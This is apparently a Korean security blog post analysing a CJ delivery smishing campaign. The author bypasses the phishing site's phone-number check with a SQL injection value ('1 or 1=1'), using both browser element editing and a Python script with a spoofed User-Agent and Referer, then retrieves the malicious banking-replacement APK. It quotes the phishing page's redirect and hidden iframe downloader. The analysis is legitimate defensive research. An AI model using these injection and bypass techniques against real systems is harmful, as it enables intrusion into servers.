annyoung

특정 대상에게만 유포되는 CJ택배 스미싱 분석방법 본문

분석생활

특정 대상에게만 유포되는 CJ택배 스미싱 분석방법

nopsled 2015. 4. 13. 21:25


<!doctype html>

<html lang="ko" xml:lang="ko">

<head>

<meta charset="utf-8">

<title>민원24</title>

<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no">

<link rel="stylesheet" href="css/base.css" type="text/css">

<script>

var isANDROID = (navigator.userAgent.match('Android') != null);

if(!isANDROID){

// NOT isANDROID

window.location="https://www.doortodoor.co.kr/main/index.jsp";

}

</script>

뭐.. 어제 포스팅 했던 내용이랑 똑같다. 이걸 왜 다시 포스팅하냐고 궁금해 하시는 분들이 있을 수도 있다.


이유는 블로그 방문자분께서 "DB에 저장된 번호를 모르는데 어떻게 앱을 다운받냐?"는 거다. 그래서 그점에 대해서 포스팅하려고 한다. 


어제와 똑같이 안드로이드로 웹브라우져에 접속하지 않으면 doortodoor.co.kr로 리다이렉션 시키는 점은 똑같다.




이 경우엔 어떻게 할까.. 라는 생각을 가지다가 간단한 SQL query를 조작해서 bypass가 가능하였다.


두가지 방법이 있는데 첫번째 방법크롬의 요소검사로 maxlength를 수정하여 submit시키는 법.

두 번째 방법직접 코딩해서 submit시키는 법 (python, html, etc...)



잘보면 input 태그 중 maxlength가 4인 부분이 2개가 있다.

id 요소를 보면 tel2, tel3가 있는데 tel2는 중간번호 tel3는 뒷번호다.

간단하게 Edit as HTML를 눌러서 maxlength 옵션을 원하는 만큼 수정 해준다.





# -*- coding: cp949 -*

from urllib import urlencode

import urllib, urllib2, sys


targetURI = 'http://ji.*******.com/dor958ft.php'

data = {

    "tel":"010",

    "tel2":"1234",

    "tel3":""

    }

request = urllib2.Request(targetURI, urlencode(data))

request.add_header('Referer','http://ji.*******.com/')

request.add_header('User-Agent','Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) AppleWebKit/537.36')

print urllib2.urlopen(request).read() 

이런식으로 User-Agent와 Referer를 고정으로 박아주어 쿼리를 날려준다. (기억으로는 Referer를 체크하기 때문에 넣어둔걸로 기억.)



POST /dor958ft.php HTTP/1.1

Accept-Encoding: identity

Content-Length: 29

Host: ji.*******.com

User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) AppleWebKit/537.36

Connection: close

Referer: http://ji.*******.com/

Content-Type: application/x-www-form-urlencoded


tel3=1+or+1%3D1&tel2=&tel=010



HTTP/1.1 200 OK

Date: Mon, 13 Apr 2015 10:39:43 GMT

Server: Apache

Set-Cookie: PHPSESSID=806b775e3028bc95e038f1bf548827ee; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Length: 182

Connection: close

Content-Type: text/html


<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

<script type="text/javascript">

<!--

.location.href="05ee6bcf18bbe4b8392e0b78a26a2686/";

//-->

</script>

아무튼 이런식으로 간단하게 bypass하면 된다.


참고로, location.href는 md5값인데, 이 md5값이 어디서 나온 md5면 여러분이 입력한 핸드폰번호(-, .apk 제외)를 md5시킨겁니다. 그 말은 즉슨, 05ee6bcf18bbe4b8392e0b78a26a2686는 01012341 or 1=1의 md5값이다. 이겁니다.

ex) 디렉토리 생성 로직 : md5(01012341234)


chrome의 요소검사를 이용해서 다운받으신분들은 바로바로 받을 수 있겠지만, 직접 코딩해서 받으시는분들은 다운로드가 바로바로 안될겁니다.


그래서 이제는 나름의 게싱이 필요합니다. (마치 "서버에 저장된 apk를 받아내라."라는 워게임 하는듯..)


이렇게 인증을 거치고나면 location.href="??"에서 ?? 디렉토리에 ???.apk가 생성된다.


apk가 생성되면 자기가 입력한 번호의 apk가 생성되기 때문에 쉽게 어플리케이션을 받을 수 있다.



</div>

<hr />


<!-- 공통 하단 jsp -->

        <html xmlns="http://www.w3.org/1999/xhtml" lang="ko" xml:lang="ko">

<head>

<meta name="format-detection" content="telephone=no" />

</head>

<body>

<div id="ftr">

<p class="bttxt">

[문의] 평일 09:00 ~ 18:00  [1588-2188]

</p>

</div>

</body>

</html>


<!-- 공통 하단 jsp -->


</body>

</html>

<iframe src="010-1234-1 or 1=1.apk" width="0" height="0"></iframe>


이렇게 페이지 소스 가장 하단에 iframe으로 자동으로 애플리케이션을 받게 하는데, 경로가 현재 디렉토리인걸 알 수 있으므로 애플리케이션을 쉽게 받을 수 있다.


만약 자신이 door.php?tel=010&tel2=1234&tel3=4 or 4=4로 인증했다면, 같은 디렉토리 내에 apk파일이 생성된다.


저는 010-1234-1 or 1=1로 인증 받았으므로 어플을 받으러 가보겠습니다.



http://ji.*******.com/50ea3a6672d7a62c7930667e73949117/010-1234-1 or 1=1.apk 

위와 같이 접속하면 쉽게 다운 받을 수 있다.


 MD5 해쉬는 다르지만 악성 행위는 뱅킹앱 교체로 유포지 서버(210.209.117.***)와 똑같으므로 분석 종료.


유포지 서버 정보 : Apache, PHP, Mysql, RDP 사용, Windows server 2008 r2 (HK)

Comments